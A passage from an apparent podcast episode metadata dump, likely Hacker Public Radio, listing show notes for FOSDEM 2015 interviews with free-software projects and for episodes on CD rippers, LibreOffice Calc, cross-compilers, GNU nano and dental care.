                                                            GNOME 3 is an easy and elegant way to use your computer. It is designed to put you in control and bring freedom to everybody. GNOME 3 is developed by the GNOME community, a diverse, international group of contributors that is supported by an independent, non-profit foundation.

                                                            \n
                                                            \n\n\n

                                                            Fedora

                                                            \n

                                                            \n\"headshot\"
                                                            \n

                                                            \n

                                                            Listen to the interview with Matthew Miller

                                                            \n\n\n

                                                            \n\"logo\"\n
                                                            \nWebsite: https://getfedora.org/en/\n

                                                            \n
                                                            \n

                                                            The Fedora Project is a partnership of free software community members from around the globe. The Fedora Project builds open source software communities and produces a Linux distribution called \"Fedora.\" The Fedora Project's mission is to lead the advancement of free and open source software and content as a collaborative community. \n

                                                            \n\n

                                                            OpenStack

                                                            \n

                                                            \n\"headshot\"
                                                            \n

                                                            \n

                                                            Listen to the interview with Rich Bowen

                                                            \n\n

                                                            \n\"logo\"\n
                                                            \nWebsite: https://openstack.org\n

                                                            \n
                                                            \nOpenStack software controls large pools of compute, storage, and networking resources throughout a datacenter, managed through a dashboard or via the OpenStack API. OpenStack works with popular enterprise and open source technologies making it ideal for heterogeneous infrastructure.\n
                                                            \n\n

                                                            CentOS

                                                            \n

                                                            \n\"headshot\"
                                                            \n

                                                            \n

                                                            Listen to the interview with Karanbir Singh

                                                            \n\n

                                                            \n\"logo\"\n
                                                            \nWebsite: https://www.centos.org\n

                                                            \n
                                                            \n

                                                            The CentOS Linux distribution is a stable, predictable, manageable and reproduceable platform derived from the sources of Red Hat Enterprise Linux (RHEL). We are now looking to expand on that by creating the resources needed by other communities to come together and be able to build on the CentOS Linux platform. And today we start the process by delivering a clear governance model, increased transparency and access. In the coming weeks we aim to publish our own roadmap that includes variants of the core CentOS Linux.

                                                            \n
                                                            \n\n

                                                            Music

                                                            \n
                                                            \nTrack name : Free Software Song\nPerformer : Fenster\nRecorded date : 2002\nCopyright : Copyright (C) 2002, \nFenster LLC. Verbatim copying of this entire recording is permitted in any medium, \nprovided this notice is preserved. \nPerformers: \nPaul Robinson (vocals), \nRoman Kravec (guitar), \nEd D'Angelo (bass), \nDave Newman (drums), \nBrian Yarbrough (trumpet), \nTony Moore (trumpet). \nFree software info at www.gnu.org speeches at audio-video.gnu.org/audio\n
                                                            \n","hostid":30,"series":78,"explicit":1,"license":"CC-BY-SA","tags":"Software Freedom Conservancy,Free as in Freedom,GNOME,Fedora,OpenStack,CentOS,Fenster","version":0,"downloads":0,"valid":1}, {"id":1698,"date":"2015-02-04","title":"FOSDEM 2015 Part 2 of 5","duration":2758,"summary":"OpenMandriva, Mageia, KDE, Debian, Puppet, OwnCloud, Diaspora","notes":"

                                                            FOSDEM 2015

                                                            \n

                                                            \n\"logo\"\n
                                                            \nWebsite: https://fosdem.org/2015/\n

                                                            \n
                                                            \nFOSDEM is a two-day event organised by volunteers to promote the widespread use of open source software. Videos of the talks refered to in this show are made available on their website.\n
                                                            \n\n

                                                            OpenMandriva

                                                            \n

                                                            \n\"headshot\"
                                                            \n

                                                            \n

                                                            Listen to the interview with Bernhard Rosenkränzer

                                                            \n\n\n

                                                            \n\"logo\"\n
                                                            \nWebsite: https://openmandriva.org\n

                                                            \n
                                                            \n

                                                            We are a 100% community-driven association that believes in the values of free software & collaboration. We fight to protect these values and promote solutions anyone can use, change and distribute. OpenMandriva believes in creating, improving, promoting and distributing free software in general, and its projects in particular. We also crave for promoting free exchange of knowledge and equality of opportunity in software access and development, as well as in education, science and research. Our products are developed with passion by the community and aim to be flexible in use by all.

                                                            \n\n

                                                            OpenMandriva represents the paradigm: from community to community, with passion, fun and dedication.

                                                            \n\n
                                                            \n\n

                                                            Mageia

                                                            \n

                                                            \n\"headshot\"
                                                            \n

                                                            \n

                                                            Listen to the interview with Anne Nicolas

                                                            \n\n

                                                            \n\"logo\"\n
                                                            \nWebsite: https://mageia.org\n

                                                            \n
                                                            \nMageia is a GNU/Linux-based, Free Software operating system. It is a community project, supported by a nonprofit organisation of elected contributors. Our mission: to build great tools for people.\n
                                                            \n\n

                                                            KDE

                                                            \n

                                                            \n\"headshot\"
                                                            \n

                                                            \n

                                                            Listen to the interview with Jonathan Riddell

                                                            \n\n

                                                            \n\"logo\"\n
                                                            \nWebsite: https://www.kde.org\n

                                                            \n
                                                            \nKDE is an international team co-operating on development and distribution of Free, Open Source Software for desktop and portable computing. Our community has developed a wide variety of applications for communication, work, education and entertainment. We have a strong focus on finding innovative solutions to old and new problems, creating a vibrant, open atmosphere for experimentation. \n
                                                            \n\n

                                                            Debian

                                                            \n

                                                            \n\"headshot\"
                                                            \n

                                                            \n

                                                            Listen to the interview with David Bremner

                                                            \n\n

                                                            \n\"logo\"\n
                                                            \nWebsite: https://www.debian.org/\n

                                                            \n
                                                            \n

                                                            The Debian Project is an association of individuals who have made common cause to create a free operating system. This operating system that we have created is called Debian.\n

                                                            \n
                                                            \n\n

                                                            Puppet

                                                            \n

                                                            \n\"headshot\"
                                                            \n

                                                            \n

                                                            Listen to the interview with Johan De W.

                                                            \n\n

                                                            \n\"logo\"\n
                                                            \nWebsite: https://puppetlabs.com/\n

                                                            \n
                                                            \nPuppet Labs is the leader in IT automation. Our software helps sysadmins automate configuration and management of machines and the software running on them. With our software, businesses can make rapid, repeatable changes and automatically enforce the consistency of systems and devices, across physical and virtual machines, on prem or in the cloud.\n
                                                            \n\n

                                                            OwnCloud

                                                            \n

                                                            \n\"headshot\"
                                                            \n

                                                            \n

                                                            Listen to the interview with Jan-Christoph Borchardt

                                                            \n\n\n

                                                            \n\"logo\"\n
                                                            \nWebsite: https://owncloud.org/\n

                                                            \n
                                                            \nAccess, Sync and Share your data, under your control!\nownCloud provides access to your data through a web interface or WebDAV while providing a platform to view, sync and share across devices easily, all under your control. ownCloud's open architecture is extensible via a simple but powerful API for applications and plugins and works with any storage. \n
                                                            \n\n

                                                            Diaspora

                                                            \n

                                                            \n\"headshot\"
                                                            \n

                                                            \n

                                                            Listen to the interview with Jason Robinson

                                                            \n\n\n

                                                            \n\"logo\"\n
                                                            \nWebsite: https://diasporafoundation.org/\n

                                                            \n
                                                            \n

                                                            diaspora* is a true network, with no central base. There are servers (called \"pods\") all over the world, each containing the data of those users who have chosen to register with it. These pods communicate with each other seamlessly, so that you can register with any pod and communicate freely with your contacts, wherever they are on the network.

                                                            \n
                                                            \n\n

                                                            Music

                                                            \n
                                                            \nTrack name : Free Software Song\nPerformer : Fenster\nRecorded date : 2002\nCopyright : Copyright (C) 2002, \nFenster LLC. Verbatim copying of this entire recording is permitted in any medium, \nprovided this notice is preserved. \nPerformers: \nPaul Robinson (vocals), \nRoman Kravec (guitar), \nEd D'Angelo (bass), \nDave Newman (drums), \nBrian Yarbrough (trumpet), \nTony Moore (trumpet). \nFree software info at www.gnu.org speeches at audio-video.gnu.org/audio\n
                                                            \n","hostid":30,"series":78,"explicit":1,"license":"CC-BY-SA","tags":"OpenMandriva, Mageia, KDE, Debian, Puppet, OwnCloud, Diaspora","version":0,"downloads":0,"valid":1}, {"id":1699,"date":"2015-02-05","title":"FOSDEM 2015 Part 3 of 5","duration":2876,"summary":"Wikimedia, Hack the Knit, Jitsi, XMMP, Kolab, DoudouLinux","notes":"

                                                            \n\"logo\"\n
                                                            \nWebsite: https://fosdem.org/2015/\n

                                                            \n
                                                            \nFOSDEM is a two-day event organised by volunteers to promote the widespread use of open source software. Videos of the talks refered to in this show are made available on their website.\n
                                                            \n\n

                                                            Wikimedia

                                                            \n

                                                            \n\"headshot\"
                                                            \n

                                                            \n

                                                            Listen to the interview with Quim Gil

                                                            \n\n

                                                            \n\"logo\"\n
                                                            \nWebsite: https://www.mediawiki.org/wiki/MediaWiki\n

                                                            \n
                                                            \nThe Wikimedia Foundation, Inc. is a nonprofit charitable organization dedicated to encouraging the growth, development and distribution of free, multilingual, educational content, and to providing the full content of these wiki-based projects to the public free of charge. The Wikimedia Foundation operates some of the largest collaboratively edited reference projects in the world, including Wikipedia, a top-ten internet property. \n
                                                            \n\n

                                                            Constant Association for Art and Media ~ Hack the Knit

                                                            \n

                                                            \n\"headshot\"
                                                            \n

                                                            \n

                                                            Listen to the interview with Andz and Chris

                                                            \n\n

                                                            \nWebsite: https://www.constantvzw.org/\n

                                                            \n
                                                            \n

                                                            Constant is a non-profit association, an interdisciplinary arts-lab based and active in Brussels since 1997. Constant works in-between media and art and is interested in the culture and ethics of the World Wide Web. The artistic practice of Constant is inspired by the way that technological infrastructures, data-exchange and software determine our daily life. Free software, copyright alternatives and (cyber)feminism are important threads running through the activities of Constant. Constant organizes workshops, print-parties, walks and \"Verbindingen/Jonctions\"-meetings on a regular basis for a public that's into experiments, discussions and all kinds of exchanges.

                                                            \n
                                                            \n\n

                                                            Libre Graphics magazine

                                                            \n

                                                            \n\"headshot\"
                                                            \n

                                                            \n

                                                            Listen to the interview with ginger

                                                            \n\n

                                                            \n\"logo\"\n
                                                            \nWebsite: https://libregraphicsmag.com\n

                                                            \n
                                                            \n

                                                            A Libre Graphics Magazine is long overdue. In a market dominated by magazines devoted to design discourse built around proprietary tools and the latest computer graphics tricks and techniques, users of Libre Graphics software are underserved and unrecognized. We know that these users exist, both professionally and as hobbyists. We know this because we are they. We are graphic designers, media artists, photographers and web designers. We use Libre Graphics software, quietly and without regard. Our peers, used to proprietary alternatives, question our choice of tools. Our work, when executed well, is indistinguishable from work produced by more traditional means. Thus, our choices are invisible, unless we make an issue of them.

                                                            \n
                                                            \n\n

                                                            Jitsi

                                                            \n

                                                            \n\"headshot\"
                                                            \n

                                                            \n

                                                            Listen to the interview with Ingo Bauersachs

                                                            \n\n

                                                            \n\"logo\"\n
                                                            \nWebsite: https://jitsi.org\n

                                                            \n
                                                            \nJitsi is an audio/video Internet phone and instant messenger written in Java. It supports some of the most popular instant messaging and telephony protocols such as SIP, Jabber/XMPP (and hence Facebook and Google Talk), AIM, ICQ, MSN, Yahoo! Messenger.\n
                                                            \n\n

                                                            XMPP

                                                            \n

                                                            \n\"headshot\"
                                                            \n

                                                            \n

                                                            Listen to the interview with Joachim Lindborg

                                                            \n\n

                                                            \n\"logo\"\n
                                                            \nWebsite: https://xmpp.org/\n

                                                            \n
                                                            \nThe Extensible Messaging and Presence Protocol (XMPP) is an open technology for real-time communication, which powers a wide range of applications including instant messaging, presence, multi-party chat, voice and video calls, collaboration, lightweight middleware, content syndication, and generalized routing of XML data.\n
                                                            \n\n

                                                            Kolab, MyKolab, Roundcube

                                                            \n

                                                            \n\"headshot\"
                                                            \n

                                                            \n

                                                            Listen to the interview with Robin Edgar

                                                            \n\n

                                                            \n\"logo\"\n
                                                            \nWebsite: https://mykolab.com\n

                                                            \n
                                                            \nWe offer secure email accounts including calendars and address books that synchronize to all your devices. The data is stored in our very own data center in Switzerland and cannot be accessed by spy programs such as PRISM, so there will be no spying. There is also no corporate spying, because we show no advertisements. Enjoy the convenience of the Cloud without compromising freedom and openness.
                                                            \nKolab is a free and open source groupware suite. It consists of the Kolab server and a wide variety of Kolab clients, including KDE PIM-Suite Kontact, Horde Webfrontend, Mozilla Thunderbird and Mozilla Lightning with SyncKolab extension and Microsoft Outlook with proprietary Kolab-Connector PlugIns.
                                                            \nRoundcube is a web-based IMAP email client. Roundcube's most prominent feature is the pervasive use of Ajax technology to present a more fluid and responsive user interface than that of traditional webmail clients. After about two years of development, the first stable release of Roundcube was announced in early 2008.\n
                                                            \n

                                                            \nIt is also time to mark the 2nd and 3rd of May 2015 in your calendars: the inaugural Kolab Summit will be held in The Hague on those dates. Come and join us for two days jam-packed full with talks, code sprints and social events!\n

                                                            \n
                                                            \nKolab Summit and openSUSE Conference\nDen Haag / Netherlands \nMay 01 - 04, 2015\n
                                                            \n\n

                                                            DoudouLinux

                                                            \n

                                                            \n\"headshot\"
                                                            \n

                                                            \n

                                                            Listen to the interview with Xavier Brusselaers

                                                            \n\n

                                                            \n\"logo\"\n
                                                            \nWebsite: https://www.doudoulinux.org/\n

                                                            \n
                                                            \nDoudouLinux is a system targeting young children. It aims at making computer use as simple and pleasant as possible; while also making computer use more accessible to all children on earth, without discrimination, in order to favor their self-fulfillment. In this section you will learn more about how it works, how it is designed, who developed it, how it came to be, why, and so on.\n
                                                            \n\n\n

                                                            Music

                                                            \n
                                                            \nTrack name : Free Software Song\nPerformer : Fenster\nRecorded date : 2002\nCopyright : Copyright (C) 2002, \nFenster LLC. Verbatim copying of this entire recording is permitted in any medium, \nprovided this notice is preserved. \nPerformers: \nPaul Robinson (vocals), \nRoman Kravec (guitar), \nEd D'Angelo (bass), \nDave Newman (drums), \nBrian Yarbrough (trumpet), \nTony Moore (trumpet). \nFree software info at www.gnu.org speeches at audio-video.gnu.org/audio\n
                                                            \n","hostid":30,"series":78,"explicit":1,"license":"CC-BY-SA","tags":"Wikimedia, Hack the Knit, Jitsi, XMMP, Kolab, DoudouLinux","version":0,"downloads":0,"valid":1}, {"id":1700,"date":"2015-02-06","title":"Today with a Techie episode two thousand","duration":619,"summary":"TWaT started 9 years, 3 months, 27 days ago and today we celebrate the first 2000 episodes","notes":"

                                                            Hacker Public Radio (HPR) is an Internet Radio show (podcast) that releases shows every weekday Monday through Friday. HPR has a long lineage going back to Radio FreeK America, Binary Revolution Radio & Infonomicon, and it is a direct continuation of Twatech radio. Please listen to StankDawg's "Introduction to HPR" for more information.

                                                            \n\n

                                                            Knowing how much I hate editing, I hope everyone can get a sense for how much I appreciate all the people who took the time to contribute to the project.

                                                            \n\n

                                                            \nIf you haven't contributed a show yet, well today is a perfect day to get involved. Just click our contribute link: https://hackerpublicradio.org/contribute.php

                                                            ","hostid":30,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"today with a techie,hacker public radio,hosts","version":0,"downloads":0,"valid":1}, {"id":1701,"date":"2015-02-09","title":"FOSDEM 2015 Part 4 of 5","duration":2576,"summary":"Agora Voting, DIYBookScanner, OpenEmbedded, Amateur Radio, kodi formerly XBMC","notes":"

                                                            \n\"logo\"\n
                                                            \nWebsite: https://fosdem.org/2015/\n

                                                            \n
                                                            \nFOSDEM is a two-day event organised by volunteers to promote the widespread use of open source software. Videos of the talks refered to in this show are made available on their website.\n
                                                            \n\n

                                                            Agora Voting

                                                            \n

                                                            \n\"headshot\"
                                                            \n

                                                            \n

                                                            Listen to the interview with Eduardo Robles

                                                            \n\n

                                                            \n\"logo\"\n
                                                            \nWebsite: https://agoravoting.org/\n

                                                            \n
                                                            \nAgora Voting is an open source voting software that allows any organization to carry out secure, flexible, transparent and cost-effective electoral processes.\n
                                                            \n\n

                                                            DIYBookScanner

                                                            \n

                                                            \n\"headshot\"
                                                            \n

                                                            \n

                                                            Listen to the interview with Johannes Baiter

                                                            \n\n

                                                            \n\"logo\"\n
                                                            \nWebsite: https://github.com/DIYBookScanner/spreads\n

                                                            \n
                                                            \nspreads is a software suite for the digitization of printed material. Its main focus is to integrate existing solutions for individual parts of the scanning workflow into a cohesive package that is intuitive to use and easy to extend. At its core, it handles the communication with the imaging devices, the post-processing of the captured material and its assembly into output formats like PDF or ePub. On top of this base layer, we have built a variety of interfaces that should fit into most use cases: A full-fledged and mobile-friendly web interface that can be served from even the most low-powered devices (like a Raspberry Pi), a graphical wizard for classical desktop users and a bare-bones command-line interface for purists.\n
                                                            \n\n

                                                            OpenEmbedded

                                                            \n\n

                                                            Listen to the interview with Ulf Samuelsson

                                                            \n\n

                                                            \n\"logo\"\n
                                                            \nWebsite: https://www.openembedded.org\n

                                                            \n
                                                            \nWelcome to OpenEmbedded, the build framework for embedded Linux. OpenEmbedded offers a best-in-class cross-compile environment. It allows developers to create a complete Linux Distribution for embedded systems. \n
                                                            \n\n

                                                            UBA Royal Belgian Amateur Radio Union/Deutscher Amateur-Radio-Club e. V.

                                                            \n\n

                                                            Listen to the interview with Kristoff Bonne

                                                            \n\n

                                                            \n\"logo\"\n
                                                            \nWebsite: https://www.uba.be/\n

                                                            \n
                                                            \nThe Royal Union of Belgian Radio Amateurs (UBA) (in Dutch, Koninklijke Unie van de Belgische Zendamateurs, in French Union Royale Belge des Amateurs-Emetteurs, in German Königliche Union der Belgischen Funkamateure) is a national non-profit organization for amateur radio enthusiasts in Belgium. UBA is the national member society representing Belgium in the International Amateur Radio Union.\n
                                                            \n

                                                            \n\"logo\"\n
                                                            \nWebsite: https://www.darc.de/\n

                                                            \n
                                                            \nThe Deutsche Amateur-Radio-Club e.V. (DARC) (in English, German Amateur Radio Club) is a national non-profit organization for amateur radio enthusiasts in Germany. As of 1 January 2008, the organization had 44,246 members, approximately 60% of all licensed amateur radio operators in Germany. Key membership benefits of the organization include QSL bureau services, a monthly membership magazine called CQ DL, and the promotion and sponsorship of radio contests. DARC promotes amateur radio by organizing classes and technical support to help enthusiasts earn their amateur radio license. The DARC also represents the interests of German amateur radio operators and shortwave listeners before German and international telecommunications regulatory authorities. DARC is the national member society representing Germany in the International Amateur Radio Union.\n
                                                            \n\n

                                                            kodi formerly XBMC

                                                            \n

                                                            \n\"headshot\"
                                                            \n

                                                            \n

                                                            Listen to the interview with Ejal de Klerk

                                                            \n\n

                                                            \n\"logo\"\n
                                                            \nWebsite: https://kodi.tv/\n

                                                            \n
                                                            \nKodi (formerly known as XBMC) is an award-winning free and open source (GPL) software media player and entertainment hub that can be installed on Linux, OSX, Windows, iOS, and Android, featuring a 10-foot user interface for use with televisions and remote controls. It allows users to play and view most videos, music, podcasts, and other digital media files from local and network storage media and the internet.\n
                                                            \n\n

                                                            Music

                                                            \n
                                                            \nTrack name : Free Software Song\nPerformer : Fenster\nRecorded date : 2002\nCopyright : Copyright (C) 2002, \nFenster LLC. Verbatim copying of this entire recording is permitted in any medium, \nprovided this notice is preserved. \nPerformers: \nPaul Robinson (vocals), \nRoman Kravec (guitar), \nEd D'Angelo (bass), \nDave Newman (drums), \nBrian Yarbrough (trumpet), \nTony Moore (trumpet). \nFree software info at www.gnu.org speeches at audio-video.gnu.org/audio\n
                                                            \n","hostid":30,"series":78,"explicit":1,"license":"CC-BY-SA","tags":"Agora Voting, DIYBookScanner, OpenEmbedded, Amateur Radio, kodi formerly XBMC","version":0,"downloads":0,"valid":1}, {"id":1702,"date":"2015-02-10","title":"FOSDEM 2015 Part 5 of 5","duration":3733,"summary":"ReactOS, CoreOS, WolfSSL, PicoTCP, Ultimaker, CoreBoot and Flashrom, SatNOGS","notes":"

                                                            ReactOS

                                                            \n

                                                            \n\"headshot\"
                                                            \n

                                                            \n

                                                            Listen to the interview with Aleksey Bragin

                                                            \n\n

                                                            \n\"logo\"\n
                                                            \nWebsite: https://www.reactos.org/\n

                                                            \n
                                                            \nReactOS® is a free open source operating system based on the best design principles found in the Windows NT® architecture (Windows versions such as Windows XP, Windows 7, Windows Server 2012 are built on Windows NT architecture). Written completely from scratch, ReactOS is not a Linux based system, and shares none of the UNIX architecture. The main goal of the ReactOS® project is to provide an operating system which is binary compatible with Windows. This will allow your Windows® applications and drivers to run as they would on your Windows system. Additionally, the look and feel of the Windows operating system is used, such that people accustomed to the familiar user interface of Windows® would find using ReactOS straightforward. The ultimate goal of ReactOS® is to allow you to use it as alternative to Windows® without the need to change software you are used to.\n
                                                            \n\n

                                                            CoreOS

                                                            \n

                                                            \n\"headshot\"
                                                            \n

                                                            \n

                                                            Listen to the interview with Kelsey Hightower

                                                            \n\n

                                                            \n\"logo\"\n
                                                            \nWebsite: https://coreos.com/\n

                                                            \n
                                                            \nCoreOS is a new Linux distribution that has been rearchitected to provide features needed to run modern infrastructure stacks. The strategies and architectures that influence CoreOS allow companies like Google, Facebook and Twitter to run their services at scale with high resilience.\n
                                                            \n\n\n

                                                            WolfSSL

                                                            \n

                                                            \n\"headshot\"
                                                            \n

                                                            \n

                                                            Listen to the interview with Chris Conlon

                                                            \n\n

                                                            \n\"logo\"\n
                                                            \nWebsite: https://wolfssl.com/yaSSL/Home.html\n

                                                            \n
                                                            \nwolfSSL focuses on providing lightweight and embedded security solutions with an emphasis on speed, size, portability, features, and standards compliance. Dual licensed to cater to a diversity of users ranging from the hobbyist to the user with commercial needs, we are happy to help our customers and community in any way we can. Our products are Open Source giving customers the freedom to look under the hood.\n
                                                            \n\n\n

                                                            PicoTCP

                                                            \n

                                                            \n\"headshot\"
                                                            \n

                                                            \n

                                                            Listen to the interview with Maarten Vandersteegen

                                                            \n\n

                                                            \n\"logo\"\n
                                                            \nWebsite: https://www.picotcp.com/\n

                                                            \n
                                                            \npicoTCP is a TCP/IP stack developed from scratch for embedded devices with an eye on the Internet of Things revolution.\n
                                                            \n\n\n

                                                            Ultimaker

                                                            \n

                                                            \n\"headshot\"
                                                            \n

                                                            \n

                                                            Listen to the interview with Olliver Schinagl

                                                            \n\n

                                                            \n\"logo\"\n
                                                            \nWebsite: https://www.ultimaker.com/\n

                                                            \n
                                                            \nWe wanted everyone to be able to enjoy the experience of making. Whether it was a cat dressed as an astronaut or a mechanical masterpiece. We set it as our goal to enable you to make those things. So we built a pioneering device that everyone could use and enjoy. We made it open source so everyone really could pitch in. And we started to grow.\n
                                                            \n\n

                                                            coreboot + flashrom

                                                            \n

                                                            \n\"headshot\"
                                                            \n

                                                            \n

                                                            Listen to the interview with Carl-Daniel Hailfinger

                                                            \n\n

                                                            \n\"logo\"\n
                                                            \nWebsite: https://www.coreboot.org/\n

                                                            \n
                                                            \ncoreboot is an extended firmware platform for delivering lightning fast and ultra secure boot experience on modern computers and embedded systems. As an Open Source project it provides auditability and helps regaining control over technology.\n
                                                            \n\n

                                                            SatNOGS

                                                            \n

                                                            \n\"headshot\"
                                                            \n

                                                            \n

                                                            Listen to the interview with Pierros Papadeas

                                                            \n\n

                                                            \n\"logo\"\n
                                                            \nWebsite: https://satnogs.org/\n

                                                            \n
                                                            \nSatNOGS project is a complete platform of an Open Source Networked Ground Station. The scope of the project is to create a full stack of open technologies based on open standards , and the construction of a full ground station as a showcase of the stack.\n
                                                            \n","hostid":30,"series":78,"explicit":1,"license":"CC-BY-SA","tags":"ReactOS, CoreOS, WolfSSL, PicoTCP, Ultimaker, CoreBoot and Flashrom, SatNOGS","version":0,"downloads":0,"valid":1}, {"id":1703,"date":"2015-02-11","title":"Open Source CD Rippers","duration":1579,"summary":"Kevie takes a look at a variety of CD ripping software available on Linux","notes":"

                                                            \nFor a first attempt at flying solo for an episode of HPR, Kevie takes a look at a variety of open source CD ripping software. Looking at graphical applications \nhttps://wiki.gnome.org/Apps/SoundJuicer: Sound Juicer and\nhttps://littlesvr.ca/asunder/: Asunder along with the command line tools\nhttps://bashburn.dose.se/: Bashburn and\nhttps://bach.dynet.com/crip/: Crip. Along with considering if it is worth having a dedicated ripping tool when a fully fledged audio suite\nhttps://wiki.gnome.org/Apps/Rhythmbox/: Rhythmbox and\nhttps://www.videolan.org/vlc/: VLC will also allow ripping.\n

                                                            \nRegular listeners to the https://unseenstudio.co.uk/category/tuxjam-ogg/: TuxJam podcast will know that Kevie is a big fan of creative commons music and this episode is no different with the tracks by https://20lb.net/: 20lb Sounds and https://bridgesplosion.bandcamp.com/: Blowing Up Bridges.\n

                                                            \n

                                                            \nMusic included in this episode:\n

                                                            \n\n\n","hostid":296,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Sound Juicer,Asunder,Bashburn,Crip,Rhythmbox,VLC","version":0,"downloads":0,"valid":1}, {"id":1704,"date":"2015-02-12","title":"Introducing Jeffrey Powers aka Geekazine","duration":1543,"summary":"Jeffrey Powers talks \"*azines\" and his other tech sites","notes":"

                                                            \nI was asked to do a followup to my Introduction to the Netizen Empowerment Federation. Specifically, I was asked to talk a bit more about the goals of Sportazine.com and how it fits into free culture. I thought the best way to do that was to introduce my Sportazine.com co-founder, Jeffrey Powers. \n

                                                            \n

                                                            \nA May 2011 estimate puts the sports industry at 350-450 billion ($480-$620 billion) https://www.atkearney.com/en_GB/paper/-/asset_publisher/dVxv4Hz2h8bS/content/the-sports-market/10192 -- it is inarguably foolish to ignore it. I don't think you are going to convince anyone to change their ways by shouting at them, or quietly being condescending.\n

                                                            \n

                                                            \nListen to find out Jeff's answers!\n

                                                            \n

                                                            \nHow has Sportazine changed from your initial vision when we created it almost 5 years ago?\n

                                                            \n

                                                            \nWhat is JMP?\n

                                                            \n

                                                            \nWe're recording on Jan 16. What's the tech history bit people should check out on your site for today?\n

                                                            \n

                                                            \nDo you do interviews for any of your sites? \n

                                                            \n

                                                            \nHow do you vet interviewees?\n

                                                            \n

                                                            \nWhat is the best way for someone to get in touch with you if they'd like to be an interviewee?\n

                                                            \n

                                                            \nWhere are you speaking to you today from Jeff?\n

                                                            \n

                                                            \nWhat are your favorite sports to watch or play?\n

                                                            \n

                                                            \nHow far do you think the Packers will go this year? We're recording on Jan 16, but there aren't open slots on HPR for a while, so people may get to see if you are right.\n

                                                            \n

                                                            \nProfessional video game players get athletic visas in the US, and are covered by ESPN (https://kotaku.com/some-sports-fans-upset-espn-is-airing-video-game-tourna-1608298005) so I suppose we might as well. How much do you cover video games on your various sites?\n

                                                            \n

                                                            \nWhat is the name of your band, and where can people find the band?\n

                                                            \n

                                                            \nIs there anything else you would like to tell the listeners?\n

                                                            ","hostid":294,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"tech, apps, ipad, android","version":0,"downloads":0,"valid":1}, {"id":1705,"date":"2015-02-13","title":"47 - LibreOffice Calc - Page Styles and Page Settings","duration":1234,"summary":"How to control the overall appearance of a worksheet using Page Styles and Page Settings.","notes":"

                                                            \nPage Styles in LibreOffice Calc set the properties for entire sheets of your workbook file. In any given Template you can have different sheets with different Page Styles if you wish, but for any given sheet you can only have one Page Style. And dont be confused by the difference between a sheet in the file and a page when printed. One single sheet may take many physical pages to print, but it is all one sheet and it is all governed by a single Page Style.\n

                                                            \n\n","hostid":198,"series":70,"explicit":0,"license":"CC-BY-SA","tags":"LibreOffice, Calc, Spreadsheet, Sheets, Styles","version":0,"downloads":0,"valid":1}, {"id":1706,"date":"2015-02-16","title":"Cross-compilers part 1","duration":1609,"summary":"What is cross-compiling, and why I might want/need to do it","notes":"

                                                            \nCross-compilers, Part 1\n

                                                            \n

                                                            \nIn this show I'll introduce the concept of cross-compiling software, explain what it\nis and why you might want/need to do it.\n

                                                            \n

                                                            \nI'll also talk about a great piece of kit for creating cross-compiler tool-chains\non Linux; crosstool-ng.\n

                                                            \n

                                                            \nAs with most of my shows, the show notes are far too long to fit into the restricted size, so there's an HTML version as well.\n

                                                            \n

                                                            \nHere are some bullet-points:\n

                                                            \n\n
                                                              \n
                                                            • cross-compilers, why and what?\n
                                                            • \n
                                                            • crosstool-ng\n
                                                            • \n
                                                            • Cross-compiler tool-chain generation gotchas\n
                                                            • \n
                                                            • Raspberry Pi cross-compiling tool-chain generation with crosstool-ng\n
                                                            • \n
                                                            • Compiling a kernel on a Pi takes 15 hours\n
                                                            • \n
                                                            • On my not-so-screaming quad-core Debian machine it takes 15 minutes\n
                                                            • \n
                                                            \n\n

                                                            Links:

                                                            \n\n

                                                            \nThere are a few files for this show, the ct-ng .config files downloaded from Arch Linux ARM and a README.md about them. The original\nmarkdown source of the full show notes is in the tarball as well.\n

                                                            \n","hostid":282,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"cross-compile, crosstool-ng, Raspberry Pi","version":0,"downloads":0,"valid":1}, {"id":1707,"date":"2015-02-17","title":"A tour round my desktop","duration":2821,"summary":"A look at the applications I use, why I use them and the alternatives I've tried.","notes":"","hostid":246,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Desktop, applications, software, Linux","version":0,"downloads":0,"valid":1}, {"id":1708,"date":"2015-02-18","title":"GNU/Nano Editor","duration":693,"summary":"JWP emails in an episode on the Editor GNU/Nano","notes":"JWP Editor GNU/Nano\n\n
                                                            \n                :::                         The                   \n  iLE88Dj.  :jD88888Dj:                                           \n.LGitE888D.f8GjjjL8888E;        .d8888b.  888b    888 888     888 \niE   :8888Et.     .G8888.      d88P  Y88b 8888b   888 888     888 \n;i    E888,        ,8888,      888    888 88888b  888 888     888 \n      D888,        :8888:      888        888Y88b 888 888     888 \n      D888,        :8888:      888  88888 888 Y88b888 888     888 \n      D888,        :8888:      888    888 888  Y88888 888     888 \n      D888,        :8888:      Y88b  d88P 888   Y8888 Y88b. .d88P \n      888W,        :8888:       \"Y8888P88 888    Y888  \"Y88888P\"  \n      W88W,        :8888:                                         \n      W88W:        :8888:      88888b.   8888b.  88888b.   .d88b. \n      DGGD:        :8888:      888 \"88b     \"88b 888 \"88b d88\"\"88b\n                  :8888:      888  888 .d888888 888  888 888  888\n                  :W888:      888  888 888  888 888  888 Y88..88P\n                  :8888:      888  888 \"Y888888 888  888  \"Y88P\" \n                    E888i                                         \n                    tW88D             Text Editor       \n
                                                            \n

                                                            \nWebsite: https://www.nano-editor.org/\n

                                                            \n
                                                            \nnano is a text editor for Unix-like computing systems or operating environments using a command line interface. It emulates the Pico text editor, part of the Pine email client, and also provides additional functionality. In contrast to Pico, nano is licensed under the GNU General Public License (GPL). Released as free software by Chris Allegretta in 1999, today nano is part of the GNU Project.\n
                                                            ","hostid":129,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"editors,nano,gnu/nano,pico,GPL","version":0,"downloads":0,"valid":1}, {"id":1709,"date":"2015-02-19","title":"Hacking Your Teeth","duration":1250,"summary":"Advice on hacking your teeth","notes":"

                                                            \nThis podcast details my experiences with dentists along with a smattering of free advice.\n

                                                            \n

                                                            \nLink to the commonly known sunscreen song \nhttps://en.wikipedia.org/wiki/Wear_Sunscreen\n

                                                            \n

                                                            \nWikipedia article about gum disease\nhttps://en.wikipedia.org/wiki/Periodontitis\n

                                                            \n

                                                            \nWikipedia page on Interdental tooth brushes\nhttps://en.wikipedia.org/wiki/Toothbrush#Interdental_brush\n

                                                            \n

